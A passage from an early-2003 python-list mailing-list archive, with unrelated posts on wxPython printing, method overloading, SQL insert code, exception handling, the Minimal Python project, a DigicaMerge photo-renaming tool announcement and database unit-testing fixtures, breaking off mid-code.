> I tried what Peter said and it seems to work but I can't realy test it
> without finishing another part of the program.
> 
> Thank you.
> -- 

You're welcome.

> http://mail.python.org/mailman/listinfo/python-list

Laura Creighton




From per at softwave.se  Fri Jan 31 11:23:13 2003
From: per at softwave.se (=?Windows-1252?Q?Per_Danng=E4rde?=)
Date: Fri, 31 Jan 2003 17:23:13 +0100
Subject: Memory usage while printing
Message-ID: <003901c2c945$0d782820$0501a8c0@gordon>

I am developing an application for windows using wxPython. I need to be able
to print about 25 pages of drawings made on a wxDC. While printing my memory
usage goes through the roof and steals all my memory. I have checked the
code and I dont think there are any memory leaks. Does anyone know of a good
way to get around this?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/187532df/attachment.html>

From grante at visi.com  Sat Jan 18 10:42:20 2003
From: grante at visi.com (Grant Edwards)
Date: 18 Jan 2003 15:42:20 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com>
Message-ID: <slrnb2itok.8di.grante@localhost.localdomain>

In article <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru at 4ax.com>, Afanasiy wrote:
> On 18 Jan 2003 12:55:08 +0100, martin at v.loewis.de (Martin v. L?wis)
> wrote:
> 
>>Afanasiy <abelikov72 at hotmail.com> writes:
>>
>>> How is it expected I create overloaded methods/functions in the C API?
>>
>>This is not possible. Overloading of methods is not supported in Python.
> 
> Is method/function overloading common in Python modules?

No.  It's isn't supported.  The language does not allow it.  Therefore, it
is not common.

> Is it looked down upon?

It is not allowed by the language design. I suppose that's a pretty good
indication that it's "looked down upon."

-- 
Grant Edwards                   grante             Yow!  Yow! I forgot my
                                  at               PAIL!!
                               visi.com            



From mwh at python.net  Tue Jan 21 05:41:56 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 21 Jan 2003 10:41:56 GMT
Subject: Python spreadsheet
References: <b0hi2e$jh0$1@news.tpi.pl> <pan.2003.01.20.20.16.38.910452@dynacare.com> <mailman.1043097209.31781.python-list@python.org> <uof6b0xq9.fsf@rk-speed-rugby.dk>
Message-ID: <7h3r8b6kcnc.fsf@pc150.maths.bris.ac.uk>

Brian Elmegaard <brian at rk-speed-rugby.dk> writes:

> pinard at iro.umontreal.ca (Fran?ois Pinard) writes:
> 
> > For one, I like the `SES' (Simple Emacs Spreadsheet), it's more affordable
> > than the usual monsters :-).  
> 
> Wow, the one thing I believed didn't exist for emacs. (Of course, I am
> quite na?ve.) 

Heh?  I didn't *know* there was a spreadsheet for emacs, but I was
downright *certain* there would be one out there somewhere...

Cheers,
M.

-- 
  I really hope there's a catastrophic bug insome future e-mail
  program where if you try and send an attachment it cancels your
  ISP account, deletes your harddrive, and pisses in your coffee
                                                         -- Adam Rixey



From rholm at mcs.com  Sun Jan  5 13:00:58 2003
From: rholm at mcs.com (Rich Holm)
Date: Sun, 05 Jan 2003 18:00:58 GMT
Subject: Newbie: Database technique
References: <mailman.1040436689.26831.python-list@python.org>
Message-ID: <MPG.18822ab7e4813136989683@news.earthlink.net>

Have a look at 

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/163605

This class (resultset) really helps to clean up SQL code.

Cheers,
Rich



In article <mailman.1040436689.26831.python-list at python.org>, 
joe at overdrivepc.com says...
> Currently rewriting an aplication using Python and MySql.  The Previous
> incarnation was written in Oracle/Oracle Forms.  Since I'm a newbie to
> Python, I'm writing some kludgy code, and have yet to stumble across a
> cleaner way.
> 
> There is a bunch of tables to convert and am changing some field names in
> the process.  So this kludgy code is appearing in my editor. :o
> 
> fields=("User_Role", "PRN_User", "Name", "Home_Phone", "Office_phone",
> "Mobile_phone", "Pager", "Fax_No", "Active_user","User_ID")
> oc.execute("SELECT " + ( ", ".join(fields)) + " FROM my_users")
> 
> i = 1
> while 1:
>     rec = oc.fetchone()
>     if rec == None: break  #my_users
> 
>     fields = ("Organization_ID", "UserID", "Name", "Home_Phone",
>     "Office_Phone", "Mobile_Phone", "Pager", "Fax_No", "Active_User",
>     "User_Role")
> 
>     mc.execute("INSERT INTO my_users (" + ",".join(fields) + ") values
>     (" + ("""%s,""" * (len(fields)-1)) + """%s)""", [1,] + rec[1:9] +
>     list( role_id) ) print "%5d %-20s %-20s transferred" % (i, rec[1],
>     rec[3]) id=mc.insert_id()
> 
> Suggestions to make this insert operation more readable?  Moslty I've used
> the tuple 'fields' to count the number of columns selected for insert
> statements...
> 
> I'll be writing my frist classes soon :)
> 
> Haven't used a generic db class for dynamic access, considering SQLDict.  I
> would appreciate recommendations.
> 
> TIA,
> -Joe
> 
> 
> 



From pyth at devel.trillke.net  Fri Jan 10 19:51:51 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sat, 11 Jan 2003 01:51:51 +0100
Subject: avoiding long paths to interpreter
In-Reply-To: <3E1F6461.E20A3ECE@alcyone.com>; from max@alcyone.com on Fri, Jan 10, 2003 at 04:25:05PM -0800
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com> <mailman.1042114877.2351.python-list@python.org> <3E1E0EC7.3575F4CD@alcyone.com> <mailman.1042206814.7732.python-list@python.org> <3E1F6461.E20A3ECE@alcyone.com>
Message-ID: <20030111015151.S349@prim.han.de>

Erik Max Francis wrote:
> holger krekel wrote:
> 
> > the Shell script is free to look for the right python version (e.g.
> > python2.1 minimum, python2.2 preferred, python2.3 possible).
> 
> Sure.  It can also write home to Mom, but the shell script you posted
> didn't do any of that.

which i stated explicitly.  It was just a conceptual (but tested) 
idea of an invocation of python code without 

a) relying on 'env' and

b) possibly providing more flexibility.  

As i regulary forget all the neccessary shell syntax and idioms 
i didn't bother to spell it out.  But why shouldn't it be
possible to scan $PATH and select a python version of choice? 
Do you have any reason to believe this cannot be done in
shell-land?  That was the one part i omitted.

    holger




From gslee at pymail.net  Thu Jan  9 23:31:01 2003
From: gslee at pymail.net (ÀÌ°­¼º)
Date: Fri, 10 Jan 2003 13:31:01 +0900
Subject: try except bug
In-Reply-To: <1042155370.1327.309.camel@emilio>
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <1042155370.1327.309.camel@emilio>
Message-ID: <20030110043101.M61567@pymail.net>

I think there is a bug in try-except clause.
If you use 'raise' with a string type exception and class instance, that's 
OK. But, when you 'raise' with a class type exception and class instance, it 
works in a strange way. Look at the following code.

class MessageClass:
    def __init__(self):
        self.message = 'message'
        self.duration = 10

def f():
    raise Exception, MessageClass()

def g():
    raise 'Exception', MessageClass()

try:
    g()
except 'Exception', a:
    print a, type(a)
    print a.duration   # This one works fine

try:
    f()
except Exception, a:
    print a, type(a)
    print a.duration   # This one doesn't work.



The result is ------------

<__main__.MessageClass instance at 0x007E9870> <type 'instance'>
10
<__main__.MessageClass instance at 0x007E8E10> <type 'instance'>
Traceback (innermost last)
  File "Untitled", line 22, in ?
    print a.duration
AttributeError: Exception instance has no attribute 'duration'

I'm using Python 2.2.2
Do you have any idea about this?

Gang Seong





From sdfrost at ucsd.edu  Wed Jan 22 16:22:19 2003
From: sdfrost at ucsd.edu (Simon Frost)
Date: Wed, 22 Jan 2003 13:22:19 -0800
Subject: Sam Rushing's AVL module
Message-ID: <5.1.0.14.0.20030122131717.01ebfb38@popmail.ucsd.edu>

Dear Python list,

Has anyone successfully ported Sam Rushing's AVL module to Windows using 
MinGW or Cygwin?

Thanks!
Simon

Simon D.W. Frost, M.A., D.Phil.
Department of Pathology
University of California, San Diego
Antiviral Research Center
150 W. Washington St., Suite 100
San Diego, CA 92103
USA

Tel: +1 619 543 8080 x275
Fax: +1 619 298 0177
Email: sdfrost at ucsd.edu

Register for the 10th International Discussion meeting on HIV Dynamics and 
Evolution:
http://ari.ucsd.edu/cfar/hivdynamics







From tismer at tismer.com  Sun Jan 12 21:39:11 2003
From: tismer at tismer.com (Christian Tismer)
Date: Mon, 13 Jan 2003 03:39:11 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7x8yxqduco.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com>
Message-ID: <3E2226CF.2050002@tismer.com>

Paul Rubin wrote:
> Christian Tismer <tismer at tismer.com> writes:

Now I'm trying to do my second answer to this.

>>>I think that local declarations and type hints are useful language
>>>improvements for more reasons than helping generate fast code...

[me, arguing against introduction of new features,
  introducing many fruitless discussions...]

> Yes, if you want to implement an extension of this type it's better to
> just pick out a way to do it and code it up, than to spend weeks
> posting netnews about different possible methods.  There's also a nice
> characteristic of experimental implementations, that if you don't like
> how a feature works out, you can change it, unlike if it gets into a
> real Python release and people start depending on it.  However, I can
> understand your approach of wanting to leave it out completely at
> first and possibly add it later if it's needed.

I guess that something will be needed sooner or
later, also that we will implement some extensions
raher soon, but not publishing them as a valid
langugage extension.
It is great to keep the flexibility as you mentioned,
and this project will need several iterations of
many constructs. I think I should have mentioned
Extreme Programming, earlier. One necessary is
to do without lots of fixed design decisions. It
is urgent to be flexible and open to new ideas.
In the sprint, we will probably go many different
ways at the same time, and drop most of them, soon.
Our way of examinining new ways of programming
will be as extreme as the principles of extreme
programming. There is for sure no other way.

[conservative about changing language]

> I think you should feel willing to take some liberties with the
> language if it makes your implementation cleaner.  A lot of the weird
> corners of Python seem to me to be implementation hacks based on
> CPython internals anyway.  Plus, I've mentioned that coding in Python
> gives me something like the joy that I imagine that the 1960's Lisp
> hackers must have felt.  The language itself is in similar shape to
> 1960's Lisp, with just two implementations (CPython and Jython), both
> of them interpreters.  If the development of native-code Python
> compilers results in some language evolution like it did for Lisp,
> that's natural and not a bad thing.  However, it all depends on what
> your goals are.

You know what my goals are.
Smaller, more flexible, faster, easier to change,
easier to maintain, easier to keep backwards
compatible, more portable due to less C code,
down-sizeable by features (which is most difficult),
the full catastrophe...

> I don't personally see a pure, faithful, exact
> reimplementation of a static target whose existing implementation is
> free and works perfectly well on a wide range of platforms as being
> something I'd want to devote precious volunteer energy to.  It's much
> more interesting to be able to expand the boundaries of what's been
> done before (as Stackless expanded boundaries).  However, YMMV.

We will try to implement Python as exact and clean
as possible. The langage should be implemented
completely.
At the same time, as much as possible should become
pluggable. It will be possible to have MiniPy
without floats, without longs, without Unicode,
without generators, without bool, without enums,
it will be possible to have a Python that cannot
generate any new types and classes, and so on.
Modules which depend on these features will then not
work.
It will be a major amount of work to deduce the
dependencies of features, and how to arrange them
in a scalable shape. I do believe that the core
group will help us with that.

positively yours -- chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From clifford.wells at attbi.com  Sat Jan 18 23:10:36 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 18 Jan 2003 20:10:36 -0800
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
In-Reply-To: <f57664b9.0301171934.58612fa@posting.google.com>
References: <f57664b9.0301161552.5dff2038@posting.google.com>
	 <mailman.1042827297.2914.python-list@python.org>
	 <f57664b9.0301171934.58612fa@posting.google.com>
Message-ID: <1042949436.4925.6.camel@x1-6-00-04-5a-64-c4-03>

On Fri, 2003-01-17 at 19:34, Jonathan P. wrote:
> Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042827297.2914.python-list at python.org>...
> 
> > I don't think performance will be affected either way (it's all
> > dictionary lookups).  Still, I wonder why you don't just use:
> > 
> > class A:
> >     def __init__(self):
> >         self.long_descriptive_name = 0
> >         self.long_descriptive_name2 = 10
> > 
> >     def x(self):
> >         alias1 = self.long_descriptive_name
> >         alias2 = self.long_descriptive_name2
> >         self.alias = alias2 * alias1
> > 
> > which would seem to be the equivalent, more readable form.
> 
> Ah but this won't work.  You need to do the D_[alias1]=newvalue
> trick to get the value assigned to self.long_descriptive_name.
> The behaviour is different and that's why I wonder if there
> is a speed penalty involved.

Yes, after I posted this, I suddenly realized what you meant.  Then I
frantically tried to reverse time, to a few seconds before I hit the
send button, only to fail at that as well.  It seems I've lost my
superpowers and will be forced to actually read posts before replying to
them as I clearly can't rely on time-travel any more.  I'll probably
have to start wearing my tinfoil hat again too.

Sadly,

-- 
Cliff Wells <clifford.wells at attbi.com>





From judoscript at hotmail.com  Tue Jan  7 22:42:56 2003
From: judoscript at hotmail.com (James Huang)
Date: 7 Jan 2003 19:42:56 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org>
Message-ID: <52719db8.0301071942.7d23cc46@posting.google.com>

> > Have you ever thought about scripting more areas, such
> > as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> > script OS commands, all at once? Think about it!
> 
> Heehee... we're already doing that. I guess you haven't used Python much,
> huh? :)
> 

This is an example of scripting:

  sendMail
     from:  'me at here.com'
       to:  'a at b.com, b at c.com'
       cc:  'd at e.com'
  subject:  'test test'
   attach:  'bin.jar'
     body:  [[*
                blah blah blah
                blah blah
            *]]
 htmlBody:  [[*
                <html><body><b>Blah</b> blah
                </body></html>
            *]]
 ;

I searched for a Python email example, found one at
   http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/67083
a peek will do. I wish I had explained better with examples, but ...

> > Perhaps back then, it was satisfactory enough to script
> > just OS commands. Not any more! Today, SQL, XML, HTML,
> > HTTP and E-mail are a part of our everyday lives. A
> > language tool capable of scripting all these will put
> > tremendous power in the hands of innovative programmers.
> > The good news is, such a tool has emerged -- JudoScript.
> 
> Oh... this is an advertisement. Never mind.
> 
> > JudoScript is a general-purpose, Java scripting,
> > multi-domain language. It is a general-purpose
> > programming language, fully capable of Java scripting,
> > and supports many applcation features in a
> > domain-specific way that include:
> 
> Could you please explain how scripting, e.g. ActiveX (per the article on
> your site) is any better (heck, any _different_ for that matter) than
> doing it in, e.g. Python? I looked at the example code and it is nearly
> identical to the Python equivalent (well, I only looked at the Internet
> Explorer example - once I saw that it was virtually identical to the
> Python version I stopped reading).
> 

Python for ActiveX is a right thing, and this creates another
variant of Python. Another famous one is Jython.
I would foresee Python evolving even further.

> > What about Python and Perl? One thing you need to
> 
> I got a kick out of this statement on your site:
> 
> "which is a much better effort than Python libraries because Java is an
> established system programming language , designed for and capable of
> building big software applications"
> 
> I guess I don't know who your intended audience is, because to me such a
> statement really lowers your credibility. If you'd like I'd be happy to
> help rewrite it to at least make it accurate.
> 

I've heard big software projects done in Python, guess that's what you
are referring to. Being a C/C++/Java guy, it is hard for me to imagine
creating big software with weakly-typed languages beyond prototyping.
But I am not a religious programmer, so maybe someday I might change
on this. Even so, Java is still unbeatable.

> Have fun,
> Dave

Thanks for your response,
-James



From andrew.thompson at ashecastle.com  Wed Jan 15 08:45:03 2003
From: andrew.thompson at ashecastle.com (Andrew Thompson)
Date: Wed, 15 Jan 2003 13:45:03 -0000
Subject: Python23: cannot inherit from bool?
In-Reply-To: <VioEfKAwHWJ+EwJk@jessikat.demon.co.uk>
Message-ID: <00c701c2bc9c$4f1fa830$4802a8c0@blair>

Inheriting from bool is a clever idea from Smalltalk.

Where true and false subclass the abstract type bool.

This then makes if,and,or,not all very natural to define.

Andrew

-----Original Message-----
From: python-list-admin at python.org [mailto:python-list-admin at python.org]
On Behalf Of Robin Becker
Sent: 15 January 2003 13:28
To: python-list at python.org
Subject: Re: Python23: cannot inherit from bool?


In article <b03kr8$lbili$1 at ID-71831.news.dfncis.de>, James Kew
<james.kew at btinternet.com> writes
>FrankS wrote:
>> It seems that 2.3 doesn't allow you to inherit from bool:
>
>I'm not qualified to comment on why it's not allowed, but out of 
>interest: why might you want to inherit from bool?
>
.... don't know the answer to that one, but is the non inheritance
property available to ordinary python if yes we could create leaf
classes.
-- 
Robin Becker
-- 
http://mail.python.org/mailman/listinfo/python-list





From geoff at gerrietts.net  Fri Jan 31 18:25:32 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Fri, 31 Jan 2003 15:25:32 -0800
Subject: Help a C++ coder see the light
In-Reply-To: <_gD_9.851$ek4.85032@newsread2.prod.itd.earthlink.net>
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org> <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net> <m3of5yf6hs.fsf@ferret.object-craft.com.au> <_gD_9.851$ek4.85032@newsread2.prod.itd.earthlink.net>
Message-ID: <20030131232532.GA24674@isis.gerrietts.net>

You know, I've only sorta been following this thread, so I can't
respond to the original, and I can't be 100% sure my points haven't
already been raised, but that's not going to stop me from making them
(ooh, ouch, does this make me a bad person?)

The lack of type checking and name declaration in python offers great
flexibility, but it does come at a cost. The cost can largely be
mitigated by writing unit testing, and test-first development does
seem to result in shorter development cycles. This efficiency is even
higher in python, since it's easy to write unit tests (see another
opinionated post by me, dated today).

The lack of type checking and name declaration does present some
challenges, but nothing nearly as challenging as the memory management
issues offered by C++. Any way you want to draw the comparisons, these
pitfalls are by far worse, and the bigger the software project, the
more likely you'll encounter them. These errors are easier to
accidentally encounter, with things like implicit copy creation,
direct pointer management, and direct memory allocation. They are also
generally more severe, producing unrecoverable crashing defects, and
potentially generating mammoth-sized security holes.

Sometimes, I miss a type checker, especially since I've had trouble
getting many "favorite" python development tools to work with some of
my projects. Sometimes, I miss the ease of distribution offered by a
compiled program, or the execution speed.

But then I go spend some time programming in those other languages,
the ones I think I missed, and I remember why it is I like to write
all my code in Python. Some of it is about the dynamic flexibility,
but mostly, it's the lack of horrifying pitfalls.

If you're the sort who tends to fumblefinger the typing a couple times
a day, or the sort who never leaks memory or segfaults, or the sort
whose software designs are so brilliantly done that changes rarely
requires recompilation of more than a single file at a time -- if
you're one of a billion different sorts of programmers, that I am not,
you may find the type checking to be an insurmountable barrier. I
don't, and I'm willing to bet most won't.

--G.

-- 
Geoff Gerrietts             "I am always doing that which I can not do, 
<geoff at gerrietts net>     in order that I may learn how to do it." 
http://www.gerrietts.net                    --Pablo Picasso




From lazypointer at yahoo.com  Fri Jan 10 01:35:15 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Fri, 10 Jan 2003 06:35:15 GMT
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com> <avi7k2$g5tob$1@ID-89047.news.dfncis.de> <Z77T9.276$V71.172@newssvr19.news.prodigy.com> <x7bs2quwt6.fsf@guru.mired.org>
Message-ID: <DQtT9.4157$Qk1.146037929@newssvr15.news.prodigy.com>

Thanks, Mike, and all who responded -

The dictionary is probably the way to go - I'll try some of the other
suggestions too. I had hesitated to take up environment space with 175
predefined variables, given my dictionaries already comprise over 1500
entries, almost 53K.

Now, I have to tackle learning OOP python style, as well as threading. My
app will be an event monitor, sending pages, instant messages, cellular text
messages, etc., based on various triggering events.


"Mike Meyer" <mwm at mired.org> wrote in message
news:x7bs2quwt6.fsf at guru.mired.org...
> "Byron Morgan" <lazypointer at yahoo.com> writes:
>
> > I have been using REXX for years for all my scripting needs. In REXX, I
can
> > use any string as a variable with no special handling.
>
> I coded Rexx for years as well. Python isn't Rexx, so you'll need to
> do things a different way.
>
> > Here is the project:
> >
> > A server supplies an alphanumeric data stream over an internet socket.
The
> > data is output from a train control system. Trains constantly enter and
> > leave the controlled territory, and each has a unique ID. I want to use
a
> > class named  "train", and name each new instance based on this ID. For
> > example, train 123 will cause creation of  T123=train(). While the train
is
> > in the system, it will be frequently updated based on new data, then it
will
> > be destroyed when the train leaves the system.
> >
> > for the curious:
> > In REXX, for a similar situation, I use a stem "train", then add the
train
> > number, then add each attribute as events are reported.
> > train. = 0
> > train.123 = 1 (value represents the number of cars in train)
> > train.123.stat = 1 (0 if stopped, 1 if moving)
> > train.123.doors = 1 (1 if closed, 0 if open)
>
> The closest things to stemmed variables is a dictionary. In fact,
> they're almost the same thing, just with different syntax.
>
> Assuming you have a class Train, here's how to
>
> Create the list of trains: train = {}
> Create a new train: train[123] = Train()
> Set the status: train[123].stat = 1
> Read the status: train[123].stat
>
> Close the door on all stopped trains:
> for t in train.values():
>     if t.stat: t.door = 1
>
> Get a list of the names of all stopped trains:
>     [x for x in train.keys() if train[x].stat]
>         # Note: in recent pythons, "train.keys()" can be replaced by just
"train"
>
> While I miss the easy access to applications, I generally find that
> programming in python is much more pleasant than programming in Rexx.
>
>         <mike
> --
> Mike Meyer <mwm at mired.org> http://www.mired.org/home/mwm/
> Independent WWW/Perforce/FreeBSD/Unix consultant, email for more
information.





From alet at unice.fr  Fri Jan 10 07:01:39 2003
From: alet at unice.fr (Jerome Alet)
Date: Fri, 10 Jan 2003 13:01:39 +0100
Subject: [ANNOUNCE] DigicaMerge v1.50
Message-ID: <pan.2003.01.10.12.01.32.569035@unice.fr>

Hi,

I'm pleased to announce the immediate availability for download of
DigicaMerge v1.50.

DigicaMerge is a Python command line tool created to ease the management
and merging of directories containing digital pictures (taken with
digicams) without worrying about name clashes.

DigicaMerge is available for download under the terms of the GNU General 
Public License from :

	http://www.librelogiciel.com/software/

DigicaMerge first purpose is to merge many source directories into one
destination directory, but DigicaMerge can also make interesting things 
automatically, like modify access and modification time to set
both to the date and time each picture was taken, for example.

DigicaMerge allows complete control over picture selecting and naming, by 
giving transparent access to the Exif data present in  the files as well as
some predefined variables (counters, date, time, etc...), and allows external
post-processing commands to be launched (e.g. jhead) enhancing their usage
possibilities by defining many environment variables prefixed with the
string 'DGCM' to export DigicaMerge internal state.

See below for the command line options and examples :

  digicamerge [options] srcdir1 [srcdir2 ... srcdirN] destination

options :

  -v | --version     Prints DigicaMerge's version number then exits.
  -h | --help        Prints this message then exits.
  
  -q | --quiet       Doesn't print progress indicator.
  
  -m | --mode M      Does a chmod to mode M after each file move.
                     M is in octal but may not have a leading 0,
                     for example both 644 and 0644 work.
                          
  -p | --pattern P   Uses pattern P to select the files to move to
                     the destination directory.
                     P default value is "*.jpg" which is convenient
                     for most cases.
  
  -s | --scheme S    Defines the naming scheme for the files created in
                     the destination directory. The default naming
                     scheme is "dscf%(count1)04i.jpg" which matches my
                     digital camera default naming scheme. 
                     
                     You can currently use the following named formats,
                     which are all strings except count0 and count1 
                     which are integers :
                     
                       count0  : file number beginning at 0
                       count1  : file number beginning at 1
                       date    : date at which the picture was taken in
                                 the YYYYMMDD format.
                       isodate : same as above but in ISO8601 format,       
                                 i.e. YYYY-MM-DD
                       year    : year in YYYY format          
                       month   : month in MM format
                       day     : day in DD format
                       hour    : hour in hh format
                       minute  : minute in mm format 
                       second  : second in ss format
                       time    : time in hhmmss format
                       
                     You can also use all recognized Exif Tags, like  
                     ExposureProgram or ExifImageHeight for example.
                                 
                     A naming scheme MUST contain either %(count0) or         
                     %(count1) to avoid duplicate file names.
                     
                     The default naming scheme produces file names like :
                     
                       dscf0001.jpg
                       dscf0002.jpg
                       ...
                       
                     Look at the Python language string formatting 
                     capabilities to learn how to create your own 
                     naming scheme.
                     
  -c | --command C   Launches command C on each picture *after* each picture
                     move, but *before* the access and modification date and
                     time or access mode are modified. The C command can use 
                     environment variables to access to the predefined values 
                     discussed above, as well as to each Exif tag. All are 
                     available under the names listed above prefixed with DGCM,
                     like DGCMcount1 or DGCMExposureProgram.
                     Several additional variables are also defined :
                                DGCMsrcname : Complete source filename
                                DGCMdstname : Complete destination filename
                                 DGCMsrcdir : Source directory
                                 DGCMdstdir : Destination directory
                                DGCMsrcbase : Source basename
                                DGCMdstbase : Destination basename
                              DGCMsrcprefix : Source basename's prefix 
                              DGCMdstprefix : Destination basename's prefix
                                 DGCMsrcext : Source extension
                                 DGCMdstext : Destination extension
  
  -t | --touch       Modifies the file access and modification times according                     
                     to the date the picture was taken, as stated in the 
                     DateTime Exif tag.
                              
examples :                              

  $ digicamerge --scheme "%(date)s-%(count0)i.jpeg" christmas newyear 2002end
  
  This will create a new directory named 2002end, and move all *.jpg pictures
  from the christmas and newyear directories into 2002end, renaming each file
  with the date at which the picture was taken followed by a number beginning 
  at 0, e.g. : 20021225-45.jpeg
  
  $ digicamerge pics renumbered
  
  This will put all the pictures present in the pics directory into 
  the renumbered directory. Each picture will be renumbered so that no 
  numbering hole will exist anymore (numbering holes might have been 
  created if you deleted some pictures from the pics directory) 
  
  $ digicamerge -c "jhead -st ~/thumbnails/\$DGCMdstname \$DGCMdstname" xmas xmas2
  
  This will do like the previous example, but thumbnails will be extracted 
  from each picture using the jhead command and will be put into the 
  ~/thumbnails/xmas2 directory under the same (possibly new) names.
  NB : Don't forget to escape the variable names with an antislash
       if you need to, otherwise they may come undefined !

  $ digicamerge --touch --scheme "%(Model)s-%(ExifImageWidth)sx%(ExifImageHeight)s-%(count1)04i.jpg" birthday mybirthday

  This will put all the pictures present in the birthday directory into
  the mybirthday directory. Each file will be renamed with a name which 
  looks like (for my digital camera) : FinePix S304-2048x1536-0001.jpg
  and the access and modification time of the picture files will be
  set to the date and time at which each picture was taken.


Hoping that someone will find this software useful, please send any
comment or bug report to : alet at librelogiciel.com

Thank you for reading

Jerome Alet



From pyth at devel.trillke.net  Tue Jan 28 16:40:05 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Tue, 28 Jan 2003 22:40:05 +0100
Subject: BDE mit Python?
In-Reply-To: <3E374704.4070906@removethis.free.fr>; from bdesth@perso.free.fr on Tue, Jan 28, 2003 at 10:14:12PM -0500
References: <3E34F503.2000906@web.de> <3E356338.9030605@removethis.free.fr> <pan.2003.01.27.19.32.31.636081@dot.com> <3E374704.4070906@removethis.free.fr>
Message-ID: <20030128224005.J10804@prim.han.de>

laotseu wrote:
> Rhymes wrote:
> > On Mon, 27 Jan 2003 11:50:00 -0500, laotseu wrote:
> > 
> > 
> >><attempt to translate, pardon my french!->
> > 
> > 
> > French?
> > 
> 
> French !

French? 




From peter at engcorp.com  Sat Jan  4 10:46:33 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 04 Jan 2003 10:46:33 -0500
Subject: Newbie question on Re module
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>
		 <cc197b7b.0301040224.554869e7@posting.google.com> <mailman.1041678186.20077.python-list@python.org> <3E17002B.8E67641E@pobox.com>
Message-ID: <3E1701D9.B7ABD6F1@engcorp.com>

Tom Zych wrote:
> 
> Andrew McGregor wrote:
> > if str.index('binaries') == -1:
> >   # then str did not contain the word.
> 
> Python 2.2 doesn't return -1 when string.index fails; it raises
> a ValueError exception. Are there older versions of Python that
> return -1?

He posted untested code.  He meant "str.find('binaries') == -1".
.index() has probably always returned ValueError.

-Peter



From juneaftn at REMOVETHIShanmail.net  Thu Jan  2 22:07:34 2003
From: juneaftn at REMOVETHIShanmail.net (Changjune Kim)
Date: Fri, 3 Jan 2003 12:07:34 +0900
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <aJWcnRWzQtc7E4mjXTWcqA@comcast.com> <3e14a219$1_1@goliath.newsgroups.com>
Message-ID: <av2uq4$6bv$1@news.hananet.net>

"Brad Clements" <bkc at Murkworks.com> wrote in message
news:3e14a219$1_1 at goliath.newsgroups.com...
> _
> "Terry Reedy" <tjreedy at udel.edu> wrote in message
> news:aJWcnRWzQtc7E4mjXTWcqA at comcast.com...
>
> > For those who missed the reference in a recent thread, there is an
> > online PDF prepublication version of Kent Beck's new book Test-Driven
> > Develoopment By Example:
> >
> > http://groups.yahoo.com/group/testdrivendevelopment/files/TDD17Jul2002
> > .pdf
> >
>
> This is where I learned the most about TDD. And, I've implemented
unittests,
> but as I said in my previous post, I'm looking for test patterns
suiteable
> for database backed "objects".
>
> The .pdf referenced above does have some patterns, but I'm looking for
more
> ideas on database testing.. In my previous post I mentioned the "mock
> object" I used to capture SQL statements.. But that still doesn't test
the
> db dump/load aspect of my objects.
>
> I guess there's no getting around actually looking at the database after
> storing an object..
>
> I'll probably use temporary tables and set them up in the fixture.
>

As others have recommended, you don't want to test everything within a real
db -- it's too expensive.

Keep the layers separate and test models enough so that you have confidence
in the business layer. If in doubt, test the primitive operations of your
persistence layer with real dbs. Don't do all the combinations.

If you are doing acceptance testing or something, consider using
"golden/silver/bronze db method." Golden DB is the product db, and Silver
DB is for the integration, and Bronze DB is for individual, uh pair,
developers, which is on every development machine. Manage the three dbs
separately.

Make use of scripts and change-control(CVS,...) the DB's schema and
scripts. Try to automate repititive works. DRY.

> Speaking of TestCase, I though that setUp would be called only once for
all
> test* included in the class, but I find that setUp() is called for ever
test
> case in the same class.
>
> What I want is one instance of the TestCase to be created (hence, one
call
> to setUp()), then each test* case to be run in that TestCase instance.
>
> I guess I'll need to make up something to do it that way, since setting
up a
> temporary database table for every test in my suite will be expensive.

Try to make each test case as independent as possible. However, if you
can't really do with the  expensive cost of setups...

As someone else has suggested, use module space. Or you could use class
space -- as class attributes and factory method with singleton.

Or you could use the following decorator which I made and nowadays am not
using quite often.

----

import unittest, pdb, sys

class Test1(unittest.TestCase):
    def setUp(self):
        print "setUp..."
    def test1(self):
        pass
    def test2(self):
        pass
